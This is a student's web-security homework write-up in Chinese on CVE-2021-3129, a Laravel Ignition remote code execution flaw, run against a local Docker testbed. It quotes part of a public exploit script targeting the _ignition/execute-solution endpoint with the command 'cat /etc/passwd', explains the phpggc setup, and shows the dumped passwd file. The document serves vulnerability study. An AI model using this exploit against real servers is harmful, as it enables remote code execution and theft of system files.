HW5. Web Security

L091025 清大資工所 熊詩旻

Bonus. Find another PHP Web Application CVE

Task1. Give an overview of the CVE

在 Debug 模式下，Laravel 內置的 Ignition 功能某些介面未嚴格過濾輸入資料，導致 file_get_contents()和 file_put_contents()函數的不安全使用，使得攻擊者能夠使用惡意 log 文件引起 phar 反序列化攻擊，遠端執行程式碼並最終獲得伺服器許可權。

Task2. Describe the environment and settings of your testbed

Laravel <= 8.4.2

Task3. Describe how to use the exploit code (need to attach the exploit code).

1. 使用 GitHub 上已有的現成的 docker 搭建環境。
2. 開啟瀏覽器輸入自己的 ip:8888 確認環境啟動成功。
3. 修改 github 內 exploit code 的 url 為自己的漏洞位址

```
97      def __init__(self, target, command):
98          self.target = target
99          self.__url = req.compat.urljoin(target, "_ignition/execute-solution")
100         self.__command = self.__command_handler(command)
101         if not self.__vul_check():
102             print("[-] [%s] is seems not vulnerable." % (self.target))
103             print("[*] You can also call obj.exp() to force an attack.")
104         else:
105             self.exp()
106
107
108 def main():
109     Exp("http://127.0.0.1:8888", "cat /etc/passwd")
110
111
112 if __name__ == '__main__':
113     main()
```

還需要用到 phpgcc，git clone 到 exploit.py 的目錄位置，把 exploit.py 和 phpggc 文件夾放在同一目錄，接下來使用 python3 執行 exploit.py，可以看到執行了 exploit.py 裡的命令 cat /etc/passwd

```
xiung@xiung-VirtualBox:~/CVE-2021-3129$ python3 exploit.py
[*] Try to use monolog_rce1 for exploitation.
[*] Result:
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin
```

Reference:

https://github.com/SNCKER/CVE-2021-3129

https://github.com/ambionics/phpggc